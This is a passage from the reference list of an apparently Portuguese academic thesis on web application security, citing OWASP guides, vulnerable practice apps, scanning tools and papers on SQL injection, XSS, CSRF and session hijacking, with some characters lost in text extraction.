2014. Disponvel em: https://www.owasp.org/index.php/OWASP_Mantra_-_Security_
Framework.
BARTH, A.; JACKSON, C.; MITCHELL, J. C. Robust defenses for cross-site request forgery.
In: Proceedings of the 15th ACM conference on Computer and communications security.
New York, NY, USA: ACM, 2008. (CCS 08), p. 7588. ISBN 978-1-59593-810-7. Disponvel
em: http://doi.acm.org/10.1145/1455770.1455782.
CLARKE, J. SQL Injection Attacks and Defense. 1st. ed. [S.l.]: Syngress Publishing, 2009.
ISBN 1597494240, 9781597494243.
DACOSTA, I.; CHAKRADEO, S.; AHAMAD, M.; TRAYNOR, P. One-time cookies: Pre-
venting session hijacking attacks with stateless authentication tokens. ACM Trans. Internet
Technol., ACM, New York, NY, USA, v. 12, n. 1, p. 1:11:24, jul. 2012. ISSN 1533-5399.
Disponvel em: http://doi.acm.org/10.1145/2220352.2220353.
DVWA, D. V. W. A. Damn Vulnerable Web Application DVWA. 2014. Disponvel em: http:
//www.dvwa.co.uk/index.php.
ESHETE, B.; VILLAFIORITA, A.; WELDEMARIAM, K. Early detection of security mis-
conguration vulnerabilities in web applications. In: Availability, Reliability and Security
(ARES), 2011 Sixth International Conference on. [S.l.: s.n.], 2011. p. 169174.
G., B. D. A.; STAMPAR, M. Sqlmap Automatic SQL injection and database takeover tool
@ONLINE. 2013. Acesso em: 23 ago. 2013. Disponvel em: http://sqlmap.org/.
GIACOBBI, G. Netcat - Networking utility which reads and writes data across network
connections, using the TCP/IP protocol @ONLINE. 2013. Acesso em: 17 set. 2013. Dispo-
nvel em: http://netcat.sourceforge.net/.
GIAVAROTO, S. C. R.; SANTOS, G. R. D. Backtrack Linux - Auditoria e Teste de Invaso
em Redes de Computadores. 1
a
. ed. [S.l.]: Cincia Moderna, 2013. 248 p. ISBN 978-85-3990-
3740.
68
GORDON, L. F. Free Security Scanner For Network Exploration & Hacking @ONLINE.
2013. Acesso em: 17 ago. 2013. Disponvel em: http://nmap.org/.
GUIDE, O. T. OWASP Testing Guide v4. v4. [S.l.], 2013. Acesso em: 17 set. 2013. Dis-
ponvel em: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_
Contents.
HALFOND, W.; VIEGAS, J.; ORSO, A. A classication of sql-injection attacks and coun-
termeasures. In: Proceedings of the IEEE International Symposium on Secure Software
Engineering, Arlington, VA, USA. [S.l.: s.n.], 2006. p. 1315.
HAUSER, V. THC-AMAP - The Hachers Choice - Fast and Reliable Application Fin-
gerprint Mapper @ONLINE. 2013. Acesso em: 20 ago. 2013. Disponvel em: http:
//www.securitytube-tools.net/index.php@title=THC-Amap.html.
HINRICHS, T. L.; ROSSETTI, D.; PETRONELLA, G.; VENKATAKRISHNAN, V. N.; SIS-
TLA, A. P.; ZUCK, L. D. Weblog: a declarative language for secure web development. In:
Proceedings of the Eighth ACM SIGPLAN workshop on Programming languages and
analysis for security. New York, NY, USA: ACM, 2013. (PLAS 13), p. 5970. ISBN 978-1-
4503-2144-0. Disponvel em: http://doi.acm.org/10.1145/2465106.2465119.
HULUKA, D.; POPOV, O. Root cause analysis of session management and broken authentica-
tion vulnerabilities. In: Internet Security (WorldCIS), 2012 World Congress on. [S.l.: s.n.],
2012. p. 8286.
KAZEROONI, S.; CUTHBERT, D. OWASP Application Security Verica-
tion Standard Project (ASVS). 2009. Acessado em 23-02-2014. Disponvel em:
https://www.owasp.org/index.php/Category:OWASP_Application_Security_
Verification_Standard_Project#tab=Home.
KOLEK, M. Session xation vulnerability in web-based applications. Acros Security, p. 7,
2002.
KOSHUTANSKI, H.; MASSACCI, F. Interactive access control for autonomic systems: From
theory to implementation. ACM Trans. Auton. Adapt. Syst., ACM, New York, NY, USA, v. 3,
n. 3, p. 9:19:31, ago. 2008. ISSN 1556-4665. Disponvel em: http://doi.acm.org/10.
1145/1380422.1380424.
LIEUALLEN, A.; BOODMAN, A.; SUNDSTRM, J. Greasemonkey 1.15. 2014. Acessado
em 27-02-2014. Disponvel em: https://addons.mozilla.org/en-US/firefox/addon/
greasemonkey/.
MARLINSPIKE, M. New tricks for defeating ssl in practice sslstripping. BlackHat DC, Fe-
bruary, 2009.
MCAFEE. The Economic Impact of Cybercrime and Cyber Espionage.@ONLINE. 2013.
Acesso em: 12 jul. 2013. Disponvel em: http://www.mcafee.com/us/.
MELLO, E. R. de; WANGHAM, M. S.; FRAGA, J. da S.; CAMARGO, E. Segurana em
Servios Web. [S.l.: s.n.], 2006. Universidade Federal de Santa Catarina. Departamento de
Automao e Sistemas. ISBN 978-85-760-5119-0.
69
MILLER, L. J. The iso reference model of open systems interconnection: A rst tutorial. In:
Proceedings of the ACM 81 conference. New York, NY, USA: ACM, 1981. (ACM 81),
p. 283288. ISBN 0-89791-049-4. Disponvel em: http://doi.acm.org/10.1145/800175.
809901.
MUTILLIDAE, O. OWASP Mutillidae Project. 2014. Disponvel em: https://www.owasp.
org/index.php/OWASP_Mutillidae_2_Project.
OWASP. Guide to Authorization. 2009. Acesso em: 23 Fev. 2014. Disponvel em: https:
//www.owasp.org/index.php/Guide_to_Authorization.
OWASP. OWASP. v4. [S.l.], 2013. Acesso em: jun. 2013. Disponvel em: https://www.
owasp.org/.
OWASP. Redirects and forwards. 2013. Acesso em: 23 Fev. 2014. Disponvel em: https:
//www.owasp.org/index.php/Redirects_and_forwards.
OWASP, M. OWASP Mutillidae Projec. 2013. Acessado em 18-02-2014. Disponvel em:
https://www.owasp.org/index.php/OWASP_Mutillidae_2_Project.
PELIZZI, R.; SEKAR, R. Protection, usability and improvements in reected xss lters. In:
Proceedings of the 7th ACM Symposium on Information, Computer and Communications
Security. New York, NY, USA: ACM, 2012. (ASIACCS 12), p. 55. ISBN 978-1-4503-1648-
4. Disponvel em: http://doi.acm.org/10.1145/2414456.2414458.
PETEFISH, P.; SHERIDAN, E.; SHERIDAN, E. Cross-Site Request Forgery (CSRF) Pre-
vention Cheat Sheet. 2014. Acesso em: 23 Fev. 2014. Disponvel em: https://www.owasp.
org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet.
PONEMON. Cybercrime Costs Rise Nearly 40 Percent, Attack Frequency Doubles. 2012.
October 08, 2012. Acesso em: 17 set. 2013. Disponvel em: http://www8.hp.com/us/en/
hp-news/press-release.html?id=1303754#.UdhrVUGMFkA.
PORTSWIGGER. Burp Suite. http://portswigger.net/burp/: [s.n.], 2014. Acesso em: 16 fev.
2014. Disponvel em: http://portswigger.net/burp/.
RANDOMSTORM; DEWHURST., R. DVWA - Damn Vulnerable Web Application. 2014.
Acessado em 19-02-2014. Disponvel em: https://github.com/RandomStorm/DVWA.
SANFILIPPO, S.; JOMBART, N.; DUCAMP, D.; BERTHIER, Y.; AUBERT, S. Hping - Active
Network Security Tool @ONLINE. 2013. Acesso em: 10 set. 2013. Disponvel em: http:
//www.hping.org/.
SECURITY, O. Kali LInux. 2014. Acessado em 27-02-2014. Disponvel em: http://www.
kali.org/.
SHIN, D.; LOPES, R. An empirical study of visual security cues to prevent the sslstripping at-
tack. In: Proceedings of the 27th Annual Computer Security Applications Conference. New
York, NY, USA: ACM, 2011. (ACSAC 11), p. 287296. ISBN 978-1-4503-0672-0. Disponvel
em: http://doi.acm.org/10.1145/2076732.2076773.
70
SHIREY, R. Internet Security Glossary. IETF, maio 2000. RFC 2828 (Informational). (Re-
quest for Comments, 2828). Obsoleted by RFC 4949. Disponvel em: http://www.ietf.
org/rfc/rfc2828.txt.
SQUYRES, J. M.; LUMSDAINE, A. The component architecture of open MPI: Enabling third-
party collective algorithms. In: GETOV, V.; KIELMANN, T. (Ed.). Proceedings, 18th ACM
International Conference on Supercomputing, Workshop on Component Models and Sys-
tems for Grid Applications. St. Malo, France: Springer, 2004. p. 167185.
SUBGRAPH. Open Source Scanner and testing platform to test the Security of Web
Applications @ONLINE. 2013. Acesso em: 23 ago. 2013. Disponvel em: http://www.
subgraph.com/products.html.
SYMANTEC. Internet Security Threat Report 2013 :: Volume 18. [S.l.], 2013.
SYSTEMS, . Original Cookie Injector. 2014. Acessado em 27-02-2014. Disponvel em:
https://userscripts.org/scripts/show/119798.
TANENBAUM, A. Redes de computadores. [S.l.]: Pearson educacion, 2003.
TEN, T. The 2013 owasp top 10. In: OWASP. AppSec USA 2013. [S.l.], 2013.
TOR. TOR PROJECT. https://www.torproject.org/about/overview.html.en, 2014. Acesso em:
16 fev. 2014. Disponvel em: https://www.torproject.org/about/overview.html.en.
TOUSSAIN, M.; SHIELDS, C. Subterfuge, a Framework to take the arcane art of Man-in-
the-Middle Attacks and make it as simple as point and shoot. 2014. Acessado em 21-02-
2014. Disponvel em: http://kinozoa.com/.
TRUSTWAVE. Trustwave Global Security Report. [S.l.], 2013.
VIJAYARANI, S.; TAMILARASI, A. An efcient masking technique for sensitive data protec-
tion. In: Recent Trends in Information Technology (ICRTIT), 2011 International Confe-
rence on. [S.l.: s.n.], 2011. p. 12451249.
VOGT, P.; NENTWICH, F.; JOVANOVIC, N.; KIRDA, E.; KRUEGEL, C.; VIGNA, G. Cross
site scripting prevention with dynamic data tainting and static analysis. In: NDSS. [S.l.: s.n.],
2007.
W3AF. Open Source Web Application Security Scanner and Web Application Attack and
Audit Framework @ONLINE. 2013. Acesso em: 22 ago. 2013. Disponvel em: http://
w3af.org/.
WICHERS, D. Input Validation Cheat Sheet. 2014. Acessado em 23-02-2014. Disponvel
em: https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet.
WICHERS, D.; MANICO, J.; SEIL, M. SQL Injection Prevention Cheat Sheet. 2014.
Acessado em 23-02-2014. Disponvel em: https://www.owasp.org/index.php/SQL_
Injection_Prevention_Cheat_Sheet.
WILLIAMS, J.; DABIRSIAGHI, A. The Unfortunate Reality of Insecure Libraries. [S.l.],
2012. Acesso em: 23 Fev. 2014.
71
WILLIAMS, J.; MANICO, J.; MATTATALL, N.; KEARY, E. 2014. Acessado em
23-02-2014. Disponvel em: https://www.owasp.org/index.php/XSS_(Cross_Site_
Scripting)_Prevention_Cheat_Sheet.
WU, Y.; GANDHI, R. A.; SIY, H. Using semantic templates to study vulnerabilities recorded
in large software repositories. In: Proceedings of the 2010 ICSE Workshop on Software En-
gineering for Secure Systems. New York, NY, USA: ACM, 2010. (SESS 10), p. 2228. ISBN
978-1-60558-965-7. Disponvel em: http://doi.acm.org/10.1145/1809100.1809104.

Vous aimerez peut-être aussi